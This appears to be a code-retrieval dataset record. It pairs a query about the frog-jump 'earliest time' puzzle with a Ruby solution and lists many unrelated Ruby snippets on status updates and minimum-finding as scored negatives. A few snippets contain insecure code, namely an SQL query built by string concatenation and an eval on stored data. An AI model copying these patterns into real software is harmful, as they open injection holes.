(#{self.created_at.strftime(\"%Y-%m-%d %H:%M %Z\")})\"\n Delayed::Job.enqueue(ServiceCatalographer::Jobs::PostTweet.new(msg), :priority => 0, :run_at => 5.seconds.from_now)\n end\n \n unless MONITORING_STATUS_CHANGE_RECIPIENTS.empty?\n status_recipients_emails = MONITORING_STATUS_CHANGE_RECIPIENTS.dup\n \n if NOTIFY_SERVICE_RESPONSIBLE\n status_recipients_emails = status_recipients_emails + self.responsible_emails\n end\n ServiceCatalographer::Util.say \"Called TestResult#update_status. A status change has occurred so emailing the special set of recipients about it...\"\n subject = \"[#{SITE_NAME}] Service '#{ServiceCatalographer::Util.display_name(service)}' has a test change status from #{previous_status.label} to #{current_status.label}\"\n text = \"A monitoring test status change has occurred! Service '#{ServiceCatalographer::Util.display_name(service)}' has a test (#{self.service_test.test_type}, ID: #{self.service_test.test_id}) change status from #{previous_status.label} to #{current_status.label}. Last test result message: #{current_status.message}. Go to Service: #{ServiceCatalographer::Api.uri_for_object(service)}\"\n Delayed::Job.enqueue(ServiceCatalographer::Jobs::StatusChangeEmails.new(subject, text, status_recipients_emails), :priority => 0, :run_at => 5.seconds.from_now)\n end\n \n end\n end\n end\n rescue Exception => ex\n logger.error(\"There was problems updating the status for service test : #{self.service_test.id}\")\n logger.error(ex)\n end\n end", "def update_status\n\n command = params[:status].to_sym\n case command\n when :setup, :start, :abort, :terminate\n @project.send(\"#{command}_done!\")\n when :stop\n @project.stop_done!\n # save return result data\n raw_data = params[:data]\n results = JSON.parse(raw_data)\n results.each {|result| LoadTest.create!(result.merge(project_id: @project.id))}\n\n when :download, :export\n result_download_parms = {}\n result_download_parms[:status] = 1\n ProjectResultDownload.update(params[:request_id], result_download_parms)\n\n when :status\n status_data = params[:status_data]\n unless status_data.blank?\n if JSON.parse(status_data).empty?\n if @project.may_stop?\n submit_process(:stop)\n @project.stop! # TODO refactor as a :before callback to events\n end\n end\n end\n else\n raise \"Unknown command for status update: #{command}\"\n end\n\n flash[:success] = \"#{command} completed successfully!\"\n render nothing: true\n end", "def update_status\n return nil if !@on_status\n rows_count = Knj::Locales.number_out(@rows_count, 0)\n rows_count_total = Knj::Locales.number_out(@rows_count_total, 0)\n percent = (@rows_count.to_f / @rows_count_total.to_f) * 100\n percent_text = Knj::Locales.number_out(percent, 1)\n @on_status.call(:text => \"Dumping table: '#{@table_obj.name}' (#{rows_count}/#{rows_count_total} - #{percent_text}%).\")\n end", "def send_status_notification\n message = case @state\n when :hungry then \"I'm hungry!!!\"\n when :sick then \"I'm not feeling so well... :(\"\n when :playful then 'Come play with me!'\n end\n\n DesktopNotifications.notify(message) unless message.nil?\n end", "def on_status(&f)\n @on_status = f\n end", "def update_status\n return nil unless @on_status\n rows_count = Knj::Locales.number_out(@rows_count, 0)\n rows_count_total = Knj::Locales.number_out(@rows_count_total, 0)\n percent = (@rows_count.to_f / @rows_count_total.to_f) * 100\n percent_text = Knj::Locales.number_out(percent, 1)\n @on_status.call(text: \"Dumping table: '#{@table_obj.name}' (#{rows_count}/#{rows_count_total} - #{percent_text}%).\")\n end", "def update_status status\n @job.set({\n custom_status: status,\n pinged_at: Time.now\n })\n end", "def email_status_change_notices\n return if previously_published?\n\n case status\n when 'published', 'embargoed'\n StashEngine::UserMailer.status_change(resource, status).deliver_now\n StashEngine::UserMailer.journal_published_notice(resource, status).deliver_now\n when 'peer_review'\n StashEngine::UserMailer.status_change(resource, status).deliver_now\n StashEngine::UserMailer.journal_review_notice(resource, status).deliver_now\n when 'submitted'\n\n # Don't send multiple emails for the same resource, or for submission made by curator\n return if previously_submitted?\n\n StashEngine::UserMailer.status_change(resource, status).deliver_now\n when 'withdrawn'\n return if note.include?('final action required reminder') # this has already gotten a special withdrawal email\n\n if user_id == 0\n StashEngine::UserMailer.user_journal_withdrawn(resource, status).deliver_now\n else\n StashEngine::UserMailer.status_change(resource, status).deliver_now\n end\n end\n end", "def perform\n result = \"#{self.name}: status is correct\"\n begin\n remote = remote_status\n current = status\n if remote != current\n result = \"#{self.class.to_s} lost status: remote=#{remote}, current=#{current}\"\n Rails.logger.debug(result)\n after_save_callback\n end\n rescue => exception\n result = exception.message\n end\n result\n end", "def notify_success?\n result_status == \"QUERY_SUCCESS\"\n end", "def notify_success?\n result_status == \"QUERY_SUCCESS\"\n end", "def status=(status)\n @_status = status\n end", "def status=(status)\n @_status = status\n end", "def status\n # ensure status is boolean\n status = (params[:status] == 1 || params[:status] == true) ? true : false\n\n changed = Supervise.find_by(vm_id: params[:vm_id], techno_id: params[:techno_id]).change_status(status)\n if changed == 1\n SuperviseMailer.supervise_email(@user, Vm.find(params[:vm_id]), Techno.find(params[:techno_id]), status).deliver\n end\n\n render nothing: true\n end", "def status_updated\n new_status = params[:new_status]\n id = params[:id]\n application = EventApplication.find_by(user_id: id)\n application.status = new_status\n application.save(:validate => false)\n flash[:success] = \"Status successfully updated.\"\n\n redirect_to event_application_path(application)\n\n\n\n # Send email when status changes.\n if new_status == 'accepted'\n UserMailer.accepted_email(application.user).deliver_now\n elsif new_status == 'denied'\n UserMailer.denied_email(application.user).deliver_now\n else\n UserMailer.waitlisted_email(application.user).deliver_now\n end\n end", "def status\n {\n 'body' => 'Service is up!'\n }\n end", "def on_status(&block)\n @on_status = block\n end", "def on_status(&block)\n @on_status = block\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def log_current_status(status)\n message = \"#{task_details_for_log}, status: #{status}\"\n if (UNDEFINED_STATUSES + STOPED_STATUSES).include?(status)\n Astute.logger.error message\n else\n Astute.logger.debug message\n end\n end", "def change_status\n\n res = RResponse.new\n\n order = Order.find_by_id(params[:id])\n order.shipping_status_id = params[\"shipping_status_id\"]\n begin\n order.save\n res.success = true\n res.msg = 'Changed order status to \"' + order.status.name + '\"'\n\n # log this\n type = OrderLogType.find_by_name('status')\n log = OrderLog.create(:account_id => current_user.account.id, :order_log_type_id => type.id, :order_id => order.id, :subject => 'Order Status', :msg => res.msg)\n res.add_action(RAction.new({\n :component_id => 'order-log-' + params[:id],\n :success => true,\n :data => {:log => log.to_a}\n })) \n end\n\n respond(res)\n\n end", "def set_new_state_after_notify(was_successful, event, status)\n unless status.attending?\n if was_successful\n if event.event?\n status.not_responded!\n else\n status.delivered!\n end\n else\n status.not_delivered!\n end\n status.save\n end\n end", "def refresh_status!\n update!(:status => 'new') if status.nil?\n update!(:status => 'ack') if acked?\n update!(:status => 'nack') if nacked?\n update!(:status => 'push') if pushed?\n end", "def status\n { history: @history.recent(5),\n uploading: @uploader.status,\n host: @uploader.host,\n pending: pending_status_to_hash,\n upload_at: 'See Cron' }\n end", "def status_changed status\n # overwrite\n # eg. server.call_start_callback(self) if status == :ready\n end", "def check_status(result, devicelist)\t\n \t\tif result[\"success\"] == 1\n\t\t\tstatusmsg = \"Push notification SUCCESSFUL\"\n\t\t\tif result[\"results\"][0].count > 1\n\t\t\t\t# send_email_to_master?: Notification processed but with warning on fcm_id\n\t\t\t\tstatusmsg = \"Push notification SUCCESSFUL, but Registration ID needs checked\"\n\t\t\tend\n\t\telsif result[\"failure\"] == 1\n\t\t\tmessageid = result[\"results\"][0][\"error\"]\n\t\t\tif messageid == \"Unavailable\"\n\t\t\t\tstatusmsg = \"Push notification RETRYING\"\n\t\t\t\tnotif_process(sendername, recipient, devicelist, message)\t\n\t\t\telsif messageid == \"InvalidRegistration\"\n\t\t\t\t# send_email_to_master?: Individual needs to reinstall/reregister app on their device or dup entries may exist in db\n\t\t\t\tdb.exec (\"UPDATE accounts set fcm_id = null, device_type = null WHERE fcm_id = '\" + devicelist + \"'\")\n\t\t\t\tstatusmsg = \"Push notification FAILED: Invalid Registration ID, app may have been reinstalled\"\n\t\t\telsif messageid == \"NotRegistered\"\n\t\t\t\t# send_email_to_master?: Individual removed app from their device\n\t\t\t\tdb.exec (\"UPDATE accounts set fcm_id = null, device_type = null WHERE fcm_id = '\" + devicelist + \"'\")\n\t\t\t\tstatusmsg = \"Push notification FAILED: App was removed from target device\"\n\t\t\telsif messageid == \"MissingRegistration\"\n\t\t\t\t# send_email_to_master?: In theory, notif should not be permitted to individual without app installed\n\t\t\t\tstatusmsg = \"Push notification FAILED: No Device Registered\"\n\t\t\telse\n\t\t\t\t# send_email_to_master?: Error recorded in db needs investigate and/or added here\n\t\t\t\t#Unregistered Device, Invalid Package Name, Mismatched Sender, Message Too Big (2048 for ios and topics;4096 otherwise)\n\t\t\t\t#Device Message Rate Exceeded, Invalid APNs credentials\n\t\t\t\tstatusmsg = \"Push notification FAILED: Reason needs investigated\"\n\t\t\tend\n\t\tend\n\t\tstatusmsg\n\tend", "def status=(status); end", "def print_result_metadata(status)\n result = status.results\n\n if [0, 1].include?(result[:statuscode])\n if result[:data][:exitcode] == 0\n out.puts(\" %-40s %s\" % [result[:sender], Util.colorize(:green, result[:data][:exitcode])])\n else\n out.puts(\" %-40s %s\" % [result[:sender], Util.colorize(:red, result[:data][:exitcode])])\n end\n\n out.puts(\" %s by %s at %s\" % [\n Util.colorize(:bold, result[:data][:task]),\n result[:data][:callerid],\n Time.at(result[:data][:start_time]).utc.strftime(\"%F %T\")\n ])\n\n out.puts(\" completed: %s runtime: %s stdout: %s stderr: %s\" % [\n result[:data][:completed] ? Util.colorize(:bold, \"yes\") : Util.colorize(:yellow, \"no\"),\n Util.colorize(:bold, \"%.2f\" % result[:data][:runtime]),\n result[:data][:stdout].empty? ? Util.colorize(:yellow, \"no\") : Util.colorize(:bold, \"yes\"),\n result[:data][:stderr].empty? ? Util.colorize(:bold, \"no\") : Util.colorize(:red, \"yes\")\n ])\n elsif result[:statuscode] == 3\n out.puts(\" %-40s %s\" % [result[:sender], Util.colorize(:yellow, \"Unknown Task\")])\n else\n out.puts(\" %-40s %s\" % [result[:sender], Util.colorize(:yellow, result[:statusmsg])])\n end\n\n out.puts\n end", "def status\r\n case status_id\r\n when 1; \"Sending\"\r\n when 2; \"Sent\"\r\n when 3; \"Bounced\"\r\n when 4; \"Opened\"\r\n when 5; \"Downloaded\"\r\n when 6; \"Send Failed\"\r\n else; \"Processing\"\r\n end\r\n end", "def update_status(status)\n @metric_status = status if STATUSES[status] > STATUSES[@metric_status]\n end", "def alive(alert, event, status)\n starts_at = DateTime.now - eval(event.amounts)\n ends_at = DateTime.now\n\n raw = @platform.raw_data.captured_between(starts_at, ends_at)\n if raw.count == 0 \n @status.update_attributes(status: \"ALERT!\", message: \"Platform #{@platform.name} is down, no new data for alert period of #{event.amounts}!\", end_time: DateTime.now)\n AlertMailer::alert_email(alert, \"Platform #{@platform.name} is down, no new data for alert period of #{event.amounts}!\", @platform.name).deliver\n else\n @status.update_attributes(status: \"Finished\", end_time: DateTime.now)\n end\n\tend", "def notify(success)\n message = if success\n \"Successfully upgraded all the things! (#{Time.now.strftime(\"%H:%M, %-d %b\")})\"\n else\n 'Failed to upgrade all the things :('\n end\n osx_notify message\n success && $stderr.tty? && lol_notify(message) || $stderr.puts(message)\n end", "def status(*) end", "def analyze_result(type, result)\n ret = {}\n if result.match(/.*ERROR.*completed.*/) or result.match(/.*completed.*warnings.*/)\n ret[:result] = 'Backup WARNING - ' + type + ' backup (' + @date + ') message: \"' + result + '\"'\n ret[:value] = 1\n elsif result.match(/.*completed successfully.*/)\n ret[:result] = 'Backup OK - ' + type + ' backup (' + @date + ') message: \"' + result + '\"'\n ret[:value] = 0\n else\n ret[:result] = 'Backup ERROR - ' + type + ' backup (' + @date + ') message: \"' + result + '\"'\n ret[:value] = 2\n end\n return ret\n end", "def basic_status_and_output(messages); end", "def status(status = nil)\n if status\n @status = status\n else\n return @status if @status\n case request.request_method.to_s.upcase\n when 'POST'\n 201\n else\n 200\n end\n end \n end", "def addStatusMessage(status, toRoom:room)\n message = { 'type' => Message::SYSTEM,\n 'created_at' => Time.now.to_s,\n 'room_id' => room.id,\n 'body' => status,\n 'user_id' => 'null',\n 'id' => \"status-#{Time.now.to_i}\"\n }\n \n room.messageReceived message\n end", "def update_status config\n\n #format of config {}\n #config = { :every => '1d',\n # :contact => 'admin@mail.com',\n # :via => 'gmail'\n # }\n\n scheduler = Rufus::Scheduler.start_new\n scheduler.every config[:every] do \n\n puts 'sending Status Report...' \n\n @body = status_report \n message = {:to => config[:contact],\n :subject => @subject, \n :body => @body}\n\n if config[:via] == 'gmail'\n Ragios::Notifiers::GMailNotifier.new.send message \n elsif config[:via] == 'email'\n Ragios::Notifiers::EmailNotifier.new.send message\n else\n raise 'Wrong hash parameter for update_status()'\n end\n end\n end", "def record_status(metric, is_success, opts = {})\n record_internal({\"#{metric}.status\" => is_success ? 1 : -1}, opts)\n end", "def update_status(status, options={})\n send_request('update_status', normalize_options(status, options))\n end", "def notify message\n raise ArgumentError unless message\n raise RuntimeError.new(\"can't process message when status is :#{@status}, title: #{@title}, desc: #{describe}\") unless ready? || collecting?\n if perform_match message\n if done?\n complete\n else\n incomplete\n end\n end\n @status\n end", "def set_online_status(status)\n case status\n when :available, :online\n @notification_server.chg \"NLN\", 0\n when :busy\n @notification_server.chg \"BSY\", 0\n when :idle\n @notification_server.chg \"IDL\", 0\n when :brb, :be_right_back\n @notification_server.chg \"BRB\", 0\n when :away\n @notification_server.chg \"AWY\", 0\n when :phone, :on_the_phone\n @notification_server.chg \"PHN\", 0\n when :lunch, :out_to_lunch\n @notification_server.chg \"LUN\", 0\n else\n raise \"Wrong online status: #{status}\"\n end\n end", "def send_status( status )\n self.status = ::Rack::Utils.status_code( status )\n self.write ::Rack::Utils::HTTP_STATUS_CODES[ self.status ]\n end", "def status()\n puts @status\n end", "def add_status(status)\n items = @items[status]\n @dialog.logMessage(\"Adding #{items.size} items with status: #{status}\")\n items\n end", "def status(text)\n @user.enqueue_message('_' + text + '_')\n end", "def status(text)\n @user.enqueue_message('_' + text + '_')\n end", "def status\n debug { \"status\" }\n verify_response { Remote.get('/status', :api_key => api_key ) }\n end", "def status\n case @result.retval\n when 0 ; \"ok\"\n when 1 ; \"warning\"\n when 2 ; \"critical\"\n end\n end", "def status_success!()\n @status = TAC_PLUS_ACCT_STATUS_SUCCESS\n end", "def finished(status)\n @end_time = Time.now\n if status.success?\n @dfr.succeed(self)\n else\n @dfr.fail(self)\n end\n end", "def alert_if_not_status\n @expected_status = params['status']\n @status = DoorLog.show_status\n\n if ![\"open\",\"closed\"].include?(@expected_status)\n @output = \"USAGE: Specify an expected status (/alert_if_not/open or /alert_if_not/closed). Alert emails will be sent if status doesn't match.\"\n elsif @expected_status.to_s == \"open\" && @status[:unlocked] == true\n @output = \"Unlocked Status is OK.\"\n elsif @expected_status.to_s == \"closed\" && @status[:unlocked] == false\n @output = \"Unlocked Status is OK.\"\n else\n @output = \"Unlocked Status is NOT OK. Alerting.\"\n @output += \" - Mail result: \"\n @output += DoorMailer.alert(@status).deliver.inspect\n end\n\n response.headers[\"Cache-Control\"] = \"no-cache, no-store, max-age=0, must-revalidate\"\n render :json => {response: @output, status: @status}\n end", "def print_status\n\t\tputs \"#{status}\"\n\tend", "def get_backup_status(opts = {})\n data, _status_code, _headers = get_backup_status_with_http_info(opts)\n return data\n end" ]
[ "0.83022225", "0.8115682", "0.8035099", "0.7653947", "0.76226187", "0.7131452", "0.6380589", "0.6344476", "0.62599", "0.5694332", "0.56476885", "0.56333387", "0.5629574", "0.56179255", "0.56104213", "0.5582337", "0.55577403", "0.5549416", "0.5546705", "0.55400896", "0.55195886", "0.54946935", "0.5493263", "0.5479519", "0.5467951", "0.5467942", "0.543732", "0.54130167", "0.5398567", "0.5386112", "0.5384875", "0.5383214", "0.5365572", "0.5365572", "0.53600955", "0.53600955", "0.5338086", "0.5333435", "0.5329299", "0.53274316", "0.53274316", "0.532093", "0.532093", "0.532093", "0.532093", "0.532093", "0.532093", "0.532093", "0.532093", "0.532093", "0.532093", "0.532093", "0.532093", "0.532093", "0.532093", "0.532093", "0.532093", "0.532093", "0.532093", "0.532093", "0.532093", "0.532093", "0.532093", "0.532093", "0.5320264", "0.5319639", "0.53128475", "0.529455", "0.52778953", "0.52773184", "0.52674615", "0.524238", "0.5241903", "0.52307594", "0.5225253", "0.5216187", "0.5214164", "0.5206887", "0.51986235", "0.51923925", "0.51852673", "0.51625234", "0.5145504", "0.51448375", "0.51418227", "0.51416475", "0.5140327", "0.51298547", "0.51210934", "0.51094854", "0.5088743", "0.5078279", "0.5078279", "0.5077438", "0.50742435", "0.5072272", "0.50703794", "0.5070348", "0.5068741", "0.5067695" ]
0.646023
6
The goal is to find the earliest time when the frog can jump to the other side of the river.
def solution(x, a) count = 1 indices = [] while count <= x indices << a.find_index(count) count += 1 end if indices.include?(nil) -1 else indices.sort.last end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def min() time[1] end", "def frog_jump(x, a)\n d = {}\n (1..x).each {|i| d[i] = true }\n\n min_time = -1\n len = a.length - 1\n\n (0..len).each do |sec|\n n = a[sec]\n d.delete(n) if d[n]\n if d.length == 0\n min_time = sec\n break\n end\n end\n\n return min_time\nend", "def next_closest_time(time)\n store = Array.new(9)\n past = []\n\n time.split('').each do |num| \n if (num.ord >= 48 && num.ord <= 57)\n store[num.to_i] = true \n past.push(num.to_i)\n end\n end\n\n future = past\n place = 3\n until (place == -1)\n limit = find_limit(place, past[place])\n if next_greatest(store, past[place], limit)\n if place == 1 && next_greatest(store, past[place], limit) >= 5 && future[0] == 2\n next_num = next_greatest(store, 0, 2)\n future[0] = next_num\n future[1] = next_num\n else \n future[place] = next_greatest(store, past[place], limit)\n end\n break\n else\n future[place] = lowest(store)\n place -= 1\n end\n end\n\n future[0..1].join(\"\").to_s + \":\" + future[2..3].join(\"\").to_s\nend", "def findMinimumTimeDiff()\n pre = nil ;\n diff = nil ;\n @timeNameTable.values.sort.each{|time|\n if(pre.nil?) then\n pre = time ;\n else\n d = time - pre ;\n if(diff.nil? || diff > d) then\n diff = d ;\n end\n end\n }\n return diff ;\n end", "def busiest_time(doordata)\n pop_cnt = 0\n max_pop = 0\n res = 0\n \n doordata.each_with_index do |e, i| \n \n if e.last == 0 \n pop_cnt -= e[1]\n elsif e.last == 1 \n pop_cnt += e[1] \n end \n \n # need to check all values at a given time stamp \n # before making the comparison with max_pop\n next if i < doordata.length-1 && e[0] == doordata[i+1][0]\n \n if pop_cnt > max_pop \n res = e.first\n max_pop = pop_cnt\n end \n end \n \n res \nend", "def solution(arr, pond_width, max_jump_d)\n # returns 0 if frog can jump directly across the pond\n return 0 if pond_width <= max_jump_d\n # returns 0 if frog can jump to first leaf and then from first leaf\n # to the other side of the pond\n return 0 if arr[0] <= max_jump_d && (pond_width - arr[0]) <= max_jump_d\n\n prev_pos = 0\n arr.each_with_index do |pos, time|\n if (pos - prev_pos) <= max_jump_d && pos > prev_pos\n prev_pos = pos\n return time if pond_width - prev_pos <= max_jump_d\n end\n end\n\n # frog is unable to reach the other side and returns -1\n return -1\nend", "def earliest_backtrack_time\n data[:earliest_backtrack_time]\n end", "def next_clean_time(addr) \n #Figure out side of the street\n side = self.get_side(addr) \n \n #Find all blocks that match Street Address \n all_blocks = self.blocks\n blocks = all_blocks.where(\"side = ? AND bottom <= ? AND top >= ?\", side, addr, addr)\n if blocks == []\n return nil\n else \n #Compute the next cleaning times for the block and pick the smallest(i.e. the soonest) time\n cts = Array.new\n blocks.each{|x|cts << x.ct.next_time}\n best = cts.min\n return best, blocks[0].id\n end\n end", "def solution(x, a)\n # write your code in Ruby 2.2\n min_occurance = {}\n earliest_time = -1\n\n # loop over a and calculate min occurance\n (0..a.length-1).each do |i|\n if(min_occurance[a[i]].nil?)\n min_occurance[a[i]] = i\n end\n end\n\n\n # loop for x\n (1..x).each do |x_i|\n if(min_occurance[x_i].nil?)\n earliest_time = -1\n break\n else\n if earliest_time.to_i < min_occurance[x_i].to_i\n earliest_time = min_occurance[x_i]\n end\n end\n end\n earliest_time\nend", "def earliest_interview_timeblock_start\n interview_timeblocks.find(:first, :order => 'start_time').start_time\n end", "def time_already_open(date)\n open = open_close_times(date).first\n date - open > 0 ? date - open : 0\n end", "def earliest(t1, t2) before_eq(t1, t2) ? t1 : t2; end", "def earliest(t1, t2) before_eq(t1, t2) ? t1 : t2; end", "def my_min2(arr)\n timestart = Time.now\n smallest = arr[0]\n (1...arr.length).each do |idx|\n smallest = arr[idx] if smallest > arr[idx]\n end\n p (Time.now - timestart) * 1000\n smallest\nend", "def next_league(leagues)\n floodgate = leagues.min {|a,b| a.next_time <=> b.next_time}\n return floodgate\n end", "def which_watch(flight_length, movie_times)\n # we don't want brute force\n # assume there is a way to do this with O(n) given the last comment\n # we are not going to put this into anything and it doesn't really seem like a sorting problem\n # brute force is O(n) +\n\n times = {}\n movie_times.each_with_index do |movie, index|\n times[movie] = [flight_length - movie, index]\n end\n\n movie_times.each_with_index do |movie, index|\n movie, i = times[times[movie].first]\n return true if movie && i != index\n end\n\n return false\nend", "def time_until_hungry\n time_since_recent_action = if time_since_last_burrito < time_since_active\n time_since_last_burrito\n else\n time_since_active\n end\n\n x = greedy_time - time_since_recent_action.to_i\n x > 0 ? x : 0\n end", "def matching_start_time(finish_time)\n start_times.select { |t| t < finish_time }.sort.max\n end", "def nearest_time_event\n now = (Time.now.to_f * 1000).truncate\n nearest = nil\n @time_events.each do |time_event|\n if nearest.nil?\n nearest = time_event\n elsif time_event.process_at < nearest.process_at\n nearest = time_event\n else\n next\n end\n end\n \n nearest\n end", "def prevping(t)\n $seed = $initseed;\n # Starting at the beginning of time, walk forward computing next pings\n # until the next ping is >= t.\n nxtping = 1184083200 # the birth of timepie/tagtime!\n lstping = nxtping\n lstseed = $seed\n while nxtping < t\n lstping = nxtping\n lstseed = $seed\n nxtping = nextping(nxtping)\n end\n $seed = lstseed\n lstping\nend", "def my_min2 # O(n) time complexity\n smallest = self.first\n self.each do |num|\n sleep(1)\n smallest = num if num < smallest \n end\n smallest\n end", "def min_refuel array_of_gas_station, total_distance, l_km\r\n\tt1 = Time.now\r\n\ttotal_refuel = 0\r\n\trefueld_at = []\r\n\tcan_travel = l_km\r\n\tflag = \"yes\"\r\n\tarray_of_gas_station.each_with_index do |arr,index|\r\n\t\tif arr > can_travel\r\n\t\t\tcan_travel += l_km\r\n\t\t\ttotal_refuel += 1\r\n\t\t\trefueld_at << (index-1)\r\n\t\telsif arr == can_travel\r\n\t\t\tcan_travel += l_km\r\n\t\t\ttotal_refuel += 1\r\n\t\t\trefueld_at << index\r\n\t\tend\r\n\tend\r\n\trefueld_at.each_with_index do |arr, i|\r\n\t\tif refueld_at[i] == refueld_at[i+1] || refueld_at[i] < 0\r\n\t\t\tflag = \"no\"\r\n\t\tend\r\n\tend\r\n\tif flag.eql? \"yes\"\r\n\t\tt2 = Time.now\r\n\t\tp \"total refuel : #{total_refuel}\"\r\n\t\tp \"refueled at : #{refueld_at}\"\r\n\t\tp \"Time taken : #{t2 - t1}\"\r\n\telse\r\n\t\tt2 = Time.now\r\n\t\tp \"can't travel\"\r\n\t\tp \"Time taken : #{t2 - t1}\"\r\n\tend\r\nend", "def work_time(date)\n open, closed = open_close_times(date)\n closed - open - time_already_open(date)\n end", "def naive_for_me_0\n self.class.beat their_throw_after_most_recent_max_match\n end", "def time_until_open(date)\n open = open_close_times(date).first\n open - date > 0 ? open - date : 0\n end", "def lead_time\n 1\n end", "def shortest_time_remaining\n return 0 if finished_at\n backup_source_jobs.map(&:time_remaining).reject! {|t| t == 0}.min rescue 0\n end", "def min_key\n min_k, min_time = nil, @time\n @store.each {|k, v|\n if v.time < min_time \n min_k, min_time = k, v.time\n end\n }\n return min_k\n end", "def time_survived\n return 0 if self.is_oz\n tag = self.killing_tag\n real_begins = self.game.game_begins - self.game.utc_offset\n return [0, tag.datetime - real_begins].max unless tag.nil?\n return [0, Game.now(self.game) - real_begins].max\n end", "def start_time(time)\n if time < time.set_time_to( @opening_time )\n time.set_time_to( @opening_time )\n else\n time\n end\n end", "def time_min; Time.now.min; end", "def interesting_date\n marked_as_fast_growing_at\n end", "def start_time(ride)\n return nil unless ride.points.any?\n ride.points.first.time\n end", "def best_move_for(player)\n return minimax(player)[1]\n end", "def earliest_restorable_time\n data[:earliest_restorable_time]\n end", "def lead_time\n 4\n end", "def get_hitme_step\n a = c_pics.map { |p| p.step }.compact.min\n b = tutors.map { |t| t.pics.map { |p| p.step } }.flatten.compact.min\n [a, b].compact.min || 0\n end", "def find_waters_next_step(location,cave)\n \n next_step = [0,0]\n \n if cave[location[:y] + 1][location[:x]] == \" \" # Attempt to flow down\n next_step[1] = 1\n elsif cave[location[:y]][location[:x] + 1] == \" \" # If unable to flow down try to flow right\n next_step[0] = 1\n else # Back carraige return to a ~ once we reach a cave wall\n next_step[1] = -1 # go up one level in the cave\n while cave[location[:y] + next_step[1]][location[:x] + next_step[0] - 1] == \" \"\n next_step[0] += -1\n end\n end\n \n next_step\nend", "def trade_start(g)\n\treturn g.values.min\nend", "def before_midnight(time)\n total_minutes = after_midnight(time)\n total_minutes == 0 ? 0 : 1440 - total_minutes\nend", "def earliest_deathdate\n earliest = earliest_known_birthdate\n end", "def minimum_lead_time\n return @minimum_lead_time\n end", "def lead_time\n 0\n end", "def opening(day)\n Time.current.utc.midnight\n .advance(seconds: opening_second(day)).to_s(:time)\n end", "def find_waters_next_step(location,cave)\n # p \"I'm the function that finds the water flow next step\"\n next_step = [0,0]\n \n if cave[location[:y] + 1][location[:x]] == \" \" # Attempt to flow down\n next_step[1] = 1\n elsif cave[location[:y]][location[:x] + 1] == \" \" # If unable to flow down try to flow right\n next_step[0] = 1\n else #back carraige return to a ~ once we reach a cave wall\n p \"Water has no where to go\"\n next_step[1] = -1 # go up one level in the cave\n \n # Breaking some ruby rules right here to go backwards in the cave to find a blank space to fill\n \n while cave[location[:y] + next_step[1]][location[:x] + next_step[0] - 1] == \" \"\n next_step[0] += -1\n end\n end\n \n next_step\nend", "def time_to_next_open(date)\n closed_at = open_close_times(date).last\n date = next_day(date)\n while open_close_times(date) == CLOSED\n date = next_day(date)\n end\n open_at = open_close_times(date).first\n open_at - closed_at\n end", "def get2(key, time)\n return nil if not @hash.include?(key) or @hash[key].empty?\n\n found = @hash[key].find_index { |n| n.time >= time }\n\n return @hash[key][-1].value if found.nil?\n return @hash[key][found].value if @hash[key][found].time == time\n\n # No equal time => found time is greater so we want the one before.\n return nil if found == 0\n return @hash[key][found-1].value\n end", "def min_cost_climbing_stairs(arr)\n next_one, next_two = 0, 0\n curr = 0\n\n (arr.length - 1).downto(0).each do |i|\n curr = arr[i] + min(next_one, next_two)\n next_two = next_one\n next_one = curr\n end\n\n return min(next_one, next_two)\nend", "def time_to_solve\n 1.hour\n end", "def earliest(key, min)\n _request_id, time = @store.zrangebyscore(key, \"(#{min}\", '+inf', withscores: true, limit: [0, 1]).first\n time\n end", "def earliest_mpost\n earliest = nil\n block = Proc.new {|cluster|\n mpost = cluster.earliest_mpost\n if mpost \n earliest = mpost if (earliest == nil ||\n earliest.trigger_time > mpost.trigger_time)\n end\n }\n raw_clusters.each(&block)\n processed_clusters.each(&block)\n return earliest\n end", "def compute_min_work(base_work, time)\n max_target = Bitcoin.decode_compact_bits(Bitcoin.network[:proof_of_work_limit]).to_i(16)\n\n # Testnet has min-difficulty blocks after nTargetSpacing*2 time between blocks:\n target_spacing = (Bitcoin.network[:retarget_time] / Bitcoin.network[:retarget_interval])\n if is_testnet? && time > target_spacing*2\n return max_target\n end\n\n result = base_work\n while time > 0 && result < max_target\n # Maximum 400% adjustment...\n result *= 4\n # ... in best-case exactly 4-times-normal target time\n time -= Bitcoin.network[:retarget_time]*4\n end\n if result > max_target\n result = max_target\n end\n return result\n end", "def times_walked_to(state); end", "def find_left_entry\n maze[0].each_with_index do |value, index|\n return index if value == open_value\n end\n end", "def earliest_class\n earliest = @classes.first\n @classes.each { |c| earliest = c if c.time < earliest.time }\n earliest\n end", "def min_cost_climbing_stairs(cost)\n [step(cost, 0), step(cost, 1)].min\nend", "def first_bug; $game.white.each{|bug| return bug if bug.is_in_play? && bug.not_hidden? }; end", "def min_cost_climbing_stairs(cost)\n cost = cost + [0]\n\n last = cost[1]\n last_last = cost[0]\n\n cost[2..-1].each do |cost|\n new_cost = cost + [last, last_last].min\n last_last = last\n last = new_cost\n end\n\n last\nend", "def time_gap_to_winner_s\n time_to_s time_gap_to_winner\n end", "def get_start_floor(the_maze) \r\n the_maze.each_with_index do |floor, index| \r\n return index if get_start_position(floor) != nil \r\n end \r\nend", "def smallest_task(tasks)\n tasks.min_by { |task| task.arrival_time }\n end", "def compute_best_distance sec\n min_improper,sec_improper=(min_proper,sec_proper=sec.divmod(60))\n if min_improper>0 and sec_improper<40\n min_improper-=1\n sec_improper+=60\n else\n #the improper time will be the same as the proper time, which\n #isn't a problem\n end\n proper=make_array(min_proper,sec_proper)\n improper=make_array(min_improper,sec_improper)\n [[\n compute_dist(proper,Primary),\n compute_dist(proper,Tiebreaker),\n proper\n ],[\n compute_dist(improper,Primary),\n 